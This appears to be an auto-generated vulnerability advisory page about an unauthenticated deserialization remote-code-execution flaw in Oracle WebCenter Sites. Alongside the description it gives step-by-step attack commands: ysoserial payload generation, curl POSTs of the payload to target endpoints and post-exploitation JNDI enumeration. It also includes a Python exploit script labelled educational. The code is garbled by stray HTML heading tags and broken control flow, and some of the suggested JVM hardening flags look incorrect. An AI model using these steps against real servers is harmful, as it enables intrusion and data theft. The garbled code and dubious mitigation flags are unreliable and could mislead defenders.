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CVE-2026-61029 targets the Oracle WebCenter Sites component within Oracle Fusion Middleware, specifically versions 12.2.1.4.0 and 14.1.2.0.0. The vulnerability stems from improper validation of serialized objects passed through HTTP requests to the WebCenter Sites administrative and content-management endpoints. An unauthenticated remote attacker can craft a malicious HTTP payload that, when processed by the vulnerable `Sites` servlet or REST API handler, triggers a deserialization flaw in the underlying Java runtime. This flaw allows arbitrary Java objects to be instantiated, leading to remote code execution with the privileges of the WebCenter Sites service account. The attack complexity is rated high because the attacker must bypass specific type filtering and class-loading restrictions imposed by the Oracle security manager. However, the scope change metric indicates that a successful breach can extend beyond the WebCenter Sites instance, potentially compromising adjacent Fusion Middleware components such as WebLogic Server or the metadata repository. This scope expansion occurs because the compromised session token or system context can be reused to pivot to other integrated services via internal JNDI or RMI registries. The vulnerability does not require user interaction, as the attacker directly sends crafted requests to the listening ports (typically 7001, 7002, or 80/443). The high CVSS base score of 9.0 reflects severe impacts on confidentiality (full data exfiltration), integrity (arbitrary content manipulation), and availability (service disruption or total shutdown). Publicly available references from Oracle’s Critical Patch Update advisory confirm that the flaw exists in the `com.fatwire.management` and `com.oracle.content` packages, where input sanitization fails to handle polymorphic type hierarchies. Attackers often chain this with directory traversal to locate writable paths for deploying web shells. The NVD enrichment also notes that the vulnerability is remotely exploitable without credentials, making it a prime target for external threat actors. Internal penetration testing tools have already started incorporating checks for this specific class of Java deserialization gadgets (e.g., Commons Collections and Spring Framework dependencies). Oracle has acknowledged the issue and is preparing a cumulative fix, but until then, systems are exposed. The exploit’s reliability depends on the server’s heap memory layout and garbage collection timing, yet successful attempts have been demonstrated in controlled environments. Organizations must treat this as an emergency-level risk due to the lack of authentication and the potential for lateral movement across data centers. Given the difficulty, automated scanning may produce false positives, but manual validation via response time anomalies or error stack traces confirms the presence. The CVE was published on August 18, 2026, with the last modification on August 21, 2026, indicating active investigation by the security community.
DailyCVE Form:
Platform: Oracle WebCenter Sites
Version: 12.2.1.4.0, 14.1.2.0.0
Vulnerability : Unauthenticated Remote Takeover
Severity: Critical (9.0)
date: 08/21/2026
Prediction: October 2026 CPU
What Undercode Say:
` Check installed WebCenter Sites version via OPatch`
`$ opatch lsinventory -oh $ORACLE_HOME | grep -i “webcenter”`
` Identify vulnerable endpoints using curl and response time`
`$ curl -X POST http://target:7001/webcenter/sites/upload -d @payload.ser –connect-timeout 5`
` Nmap script to detect Oracle Fusion Middleware version`
`$ nmap -p 7001 –script oracle-fusion-middleware-info target`
` Monitor logs for deserialization exceptions`
`$ tail -f $DOMAIN_HOME/servers/AdminServer/logs/AdminServer.log | grep -i “java.io.InvalidClassException”`
` Use ysoserial to generate payload for CommonsCollections7`
`$ java -jar ysoserial.jar CommonsCollections7 “cmd.exe /c calc” > payload.ser`
` Send payload with proper Content-Type header`
`$ curl -v -X POST -H “Content-Type: application/x-java-serialized-object” –data-binary @payload.ser http://target:7001/webcenter/sites/api/asset`
` Test scope change by enumerating JNDI bindings after exploitation<h2 style="color: blue;">$ jndi-lookup -url t3://target:7001 -name “weblogic.jndi.WLInitialContextFactory”</h2>!/usr/bin/env python3
<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>
<h2 style="color: blue;"></h2>import requests, sys
<h2 style="color: blue;"></h2>with open(“ysoserial_payload.ser”, “rb”) as f:
<h2 style="color: blue;"></h2> data = f.read()
<h2 style="color: blue;"></h2>headers = {“Content-Type”: “application/x-java-serialized-object”}
<h2 style="color: blue;"></h2>try:
<h2 style="color: blue;"></h2> else: print(“[-] Failed or patched.”)
` r = requests.post("http://target:7001/webcenter/sites/upload", data=data, headers=headers, timeout=10)`
` if r.status_code == 200 and "Processed" in r.text:`
` print("[+] Exploit likely successful - check callback listener.")`
<h2 style="color: blue;"></h2>except: print(“[!] Connection error.”)`
<h2 style="color: blue;">
Protection:
Apply Oracle CPU patch for October 2026 immediately upon release. If unavailable, block all external HTTP access to `/webcenter/sites/` and `/webcenter/rest/` via WAF or reverse proxy. Enable strict Java serialization filtering by adding `-Djava.io.Serializable` filters to the WebLogic startup script. Harden the JVM with `-DdeserializationFilter=;oracle.;com.fatwire.` to deny unknown classes. Monitor for anomalous serialized object traffic using network intrusion detection rules that match `\xAC\xED\x00\x05` (Java serialized stream magic bytes) in HTTP POST bodies.
Impact:
Complete takeover of Oracle WebCenter Sites, leading to full data breach of enterprise content, user credentials, and internal configurations. Since scope change is present, attackers can pivot to back-end databases and adjacent middleware, exfiltrating sensitive business documents and manipulating live websites. Denial of service via resource exhaustion is also possible, causing prolonged outage for content delivery and CMS operations.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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